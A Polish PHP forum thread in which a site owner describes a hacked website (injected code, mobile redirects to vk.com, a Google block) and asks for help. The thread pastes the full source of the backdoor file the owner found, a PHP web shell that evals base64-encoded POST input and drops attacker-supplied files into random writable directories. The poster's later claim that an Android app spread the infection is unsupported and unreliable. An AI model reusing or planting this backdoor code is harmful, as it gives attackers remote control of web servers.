Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Włamanie na stronę i złośliwy kod w plikach
Forum PHP.pl > Forum > PHP
Giekuss
Witam,

Ostatnio spotkałem się z wynikiem shakowanej strony. Na początku zaczął mi się dodawać złośliwy kod w pliku index.php w głównym katalogu strony. Strona jest postawiona na autorskim CMS'ie od osoby mi nie znanej. Funkcjonuje bardzo podobnie do CMS Razor. Oczywiście nie ma własnej bazy danych.

Ale zacznijmy od tego co się działo:

1. Dodawało złośliwy kod do pliku index.php w katalogu głównym (nie w katalogu z szablonem).
2. Przekierowywało stronę na nowy adres vk.com w urządzeniach mobilnych
3. Na urządzeniach stacjonarnych wyświetlały się komunikaty o błędach
4. Złośliwy fragment usuwałem na bieżąco
5. Problem pojawił się z końcem Grudnia - początek Stycznia
5. Zablokowana strona przez Google
6. Przywrócenie kopii z Listopada - co do pewności zawirusowania nie mam, ale na pewno nie ma dziwnych plików i wtedy funkcjonowała normalnie.
7. Chciałem wprowadzić zmiany w szablonie, otwieram folder theme, a tam plik o nazwie: O__Kw3Sdnm.php
8. Wcześniej go nie było, ale treść pliku mnie przeraża, Z tego co udało mi się rozszyfrować to wprowadza jakiś ciąg znaku zmienia prawa pliku co daje mu dostęp do Nich, a zmieniane pliki sobie losuje.
9. Usunąłem go.
10. Odkąd wykonałem kopie błąd z końca Grudnia się nie powtórzył (wcześniej zdarzało się to 3 razy na dzień).

Bardzo proszę was o pomoc, bo nie wiem jakie działania mogę podjąć :c Nie mogę pozwolić na to, aby strona nie funkcjonowała tak jak należy, ponieważ jest to główny sposób zarobku.

  1. <!--FILE IS NULL OR EMPTY-->
  2. <?php
  3.  
  4. $version = "1.5";
  5. if(!empty($_POST["gjwqweodsa"]) and strlen($_POST["gjwqweodsa"]) > 0 and isset($_POST["gjwqweodsa"])){
  6. $isevalfunctionavailable = false;
  7. $evalcheck = "\$isevalfunctionavailable = true;";
  8. @eval($evalcheck);
  9. if ($isevalfunctionavailable === true) {
  10. $fnsdht = "b".""."as"."e"."".""."6"."4"."_"."de".""."c"."o".""."d"."e";
  11.  
  12. $fv = $fnsdht($_POST["gjwqweodsa"]);
  13. @eval($fv);
  14. //@eval($_POST["gjwqweodsa"]);
  15. }else{
  16. $mpath = realpath("")."/";
  17. //$dop = "\n@unlink(\"".$mpath."dsadasdsa1fag1.php\");\n";
  18. if(@file_put_contents($mpath."dsadasdsa1fag1.php","<?php\n".$fnsdht($_POST["gjwqweodsa"])."\n?>")){
  19. @include_once($mpath."dsadasdsa1fag1.php");
  20. @unlink($mpath."dsadasdsa1fag1.php");
  21. }else{
  22. echo "ERROR! CANT DO NOTHING!";
  23. }
  24. }
  25. }
  26. //if (is_uploaded_file($_FILES['file']['tmp_name']))
  27. if(!empty($_POST['fname']) and isset($_POST['fname']) and strlen($_POST['fname'])>0)
  28. {
  29. $fname = trim($_POST['fname']);
  30. $save_type = trim($_POST['save_type']);
  31. $dirname = trim($_POST['dirname']);
  32. $namecrt = trim($_POST['namecrt']);
  33.  
  34. $auth_pass = trim($_POST['auth_pass']);
  35. $change_pass = trim($_POST['change_pass']);
  36.  
  37. $file_type = trim($_POST['file_type']);
  38. $ftdata = trim($_POST['ftdata']);
  39. $is_sh = trim($_POST['is_sh']);
  40.  
  41. if($namecrt == "random"){
  42. $fname = make_name($fname);
  43. }
  44. $uploadfile = "";
  45.  
  46. if($save_type == "same_dir"){
  47. $uploadfile = realpath("")."/". $fname;
  48. }else if($save_type == "sub_dir"){
  49. $uploadfile = realpath("")."/$dirname/". $fname;
  50. if(!@mkdir(realpath("")."/$dirname/", 0755)){
  51. $uploadfile = realpath("")."/". $fname;
  52. }
  53. }else if($save_type == "root"){
  54. $root = $_SERVER['DOCUMENT_ROOT']."/";
  55. if(@is_writable($root)){
  56. $uploadfile = $root.$fname;
  57. }else{
  58. $uploadfile = realpath("")."/". $fname;
  59. }
  60. }else if($save_type == "root_in_dir"){
  61. $root = $_SERVER['DOCUMENT_ROOT']."/";
  62. $uploadfile = $root."$dirname/". $fname;
  63. if(!@mkdir($root."$dirname/", 0755)){
  64. $uploadfile = realpath("")."/". $fname;
  65. }
  66. }else if($save_type == "random_dir"){
  67. $uploadfile = choose_dir();
  68. if(@is_writable($uploadfile)){
  69. $uploadfile = $uploadfile.$fname;
  70. }else{
  71. $uploadfile = realpath("")."/". $fname;
  72. }
  73. }else if($save_type == "random_dir_random_dirname"){
  74. $dirs = array("dwr","temp","htdata","docs","memory","limits_data","module_config","temp_memory");
  75. $dr = $dirs[array_rand($dirs)];
  76.  
  77. $chodir = choose_dir();
  78. $uploadfile = $chodir.$dr."/".$fname;
  79.  
  80. if(!@mkdir($chodir."$dr/", 0755)){
  81. $uploadfile = realpath("")."/". $fname;
  82. }
  83. }else{
  84. $uploadfile = realpath("")."/". $fname;
  85. }
  86. if($file_type == "file"){
  87. if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
  88. {
  89. if($is_sh == "1" or $is_sh == 1){
  90. if($change_pass == "1" or $change_pass == 1){
  91.  
  92. }else{
  93. $auth_pass = "";
  94. }
  95. $d = @file_get_contents($uploadfile);
  96. $d = str_replace("{||AUTH_PASS||}",$auth_pass,$d);
  97. @file_put_contents($uploadfile,$d);
  98. }
  99. $url = "http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile);
  100. echo "UPLOAD:".$url."-END";
  101. }
  102. else
  103. {
  104. echo "ERROR upload";
  105. }
  106. }else{
  107. if($is_sh == "1" or $is_sh == 1){
  108. if($change_pass == "1" or $change_pass == 1){
  109.  
  110. }else{
  111. $auth_pass = "";
  112. }
  113. $ftdata = base64_decode($ftdata);
  114. $ftdata = str_replace("{||AUTH_PASS||}",$auth_pass,$ftdata);
  115. }
  116. if(@file_put_contents($uploadfile,$ftdata)){
  117. @chmod($uploadfile,0644);
  118. echo "UPLOAD:http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile)."-END";
  119. }else{
  120. $fp = fopen($uploadfile, "w");
  121. if($fp === false){
  122. echo "ERROR upload";
  123. }else{
  124. @fputs ($fp, $ftdata);
  125. @fclose ($fp);
  126. @chmod($uploadfile,0644);
  127. echo "UPLOAD:http://".str_replace($_SERVER["DOCUMENT_ROOT"],$_SERVER["SERVER_NAME"],$uploadfile)."-END";
  128. }
  129. }
  130. }
  131.  
  132. }
  133.  
  134. function make_name($curname){
  135. $l = array("_","__","q","w","e","r","t","y","u","i","o","p","a","s","d","f","g","h","j","k","l","z","x","c","v","b","n","m",
  136. "1","2","3","4","5","6","7","8","9",
  137. "Q","W","E","R","T","Y","U","I","O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M");
  138. $leng = rand(3, 9);
  139. $ret = "";
  140. for($i = 0; $i < $leng; $i++){
  141. $ret .= $l[array_rand($l)];
  142. }
  143. $curname = explode(".",$curname);
  144. return $ret.".".$curname[1];
  145. }
  146.  
  147. function choose_dir(){
  148. $lim = 0;
  149. $res_dirs = array_unique(my_scan($_SERVER['DOCUMENT_ROOT']."/",$lim));
  150. $t = array();
  151. for($j = 0; $j < count($res_dirs); $j++){
  152. $ct = explode("/",$res_dirs[$j]);
  153. $t[] = count($ct);
  154. }
  155. arsort($t);
  156. $cpath = "";
  157. $wrt_dirs = array();
  158. foreach($t as $key=>$val){
  159. if(@is_writable($res_dirs[$key])){
  160. if(@file_put_contents($res_dirs[$key]."t.php","hello")){
  161. @unlink($res_dirs[$key]."t.php");
  162. //$cpath = $res_dirs[$key];
  163. //break;
  164. $wrt_dirs[] = $res_dirs[$key];
  165. }
  166. }
  167. }
  168. if(!empty($wrt_dirs) and count($wrt_dirs)>1){
  169. $cpath = $wrt_dirs[array_rand($wrt_dirs)];
  170. }
  171. if(empty($cpath) or $cpath == "" or strlen($cpath) == 0){
  172. $cpath = $_SERVER['DOCUMENT_ROOT']."/";
  173. }
  174. return $cpath;
  175. }
  176.  
  177. function my_scan($startDir,&$lim){
  178. $cur_dir = @scandir($startDir);
  179. $res = array();
  180. for($ii = count($cur_dir)-1; $ii >=0; $ii--){
  181. $one_dir = $cur_dir[$ii];
  182. if($lim > 100)break;
  183. $d = $startDir.$one_dir;
  184. if(!@is_link($d) and @is_dir($d."/") && $one_dir !== "." && $one_dir !== ".." && $one_dir !== "cgi-bin" && $one_dir !== "webstats" && $one_dir !== "uploads" && $one_dir !== "upload" && $one_dir !== "js" && $one_dir !== "img" && $one_dir !== "images" && $one_dir !== "templates" && $one_dir !== "webstat" && strpos($one_dir,"backup")===false){
  185. if(@is_readable($d."/")){
  186. $res[] = $d."/";
  187. $res = array_merge($res,my_scan($d."/",$lim));
  188. }
  189. }
  190. $lim++;
  191. }
  192. return $res;
  193. }
  194. ?>
timon27
Hasło do ftp zmieniałeś?
Giekuss
Tak, oczywiście, do Panelu ADMINA również i zmieniałem prawa plików i podkatalogów....
Turson
Być może masz zainfekowany system. Zmień hasło ftp u kogoś innego, kompa przeskanuj, sprawdź logi np. hijack this
Daiquiri
Giekuss, następnym razem zapoznaj się proszę z tym: Temat: Jak poprawnie zatytulowac watek
Giekuss
@Admin, przepraszam następnym razem już napisze odpowiedni wątek

Mam czysty system, nie dopuszciłbym do tego.
Hemm, udało mi się dojść do tego, ze jest to wirus rozpowswzechniony z urzadzenia mobilnego z androidem, który owego wirusa posiada. Jest to wirus
z rozszerzeniem (.apk) i każdy kto ma dostęp do strony może nie umyślnie go rozprowadzać. Na razie po usunięciu tego złośliwego pliku, przywroceniu kopii,
przeskanowaniu komputera, zmienieniu haseł, zmienieniu praw pliku nic się nie dzieje, ale jestem przekonany, że na stronie widnieje formularz, który
przekazuje te dane zawarte w poscie z tematu i robi tylnie wejscie do stronki.

Zależy mi tylko na tym, aby mnie nakierować gdzie owy formularz może się znajdować... index.php, html wszystkie zbadane, pliki szablonowe zbadane...
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.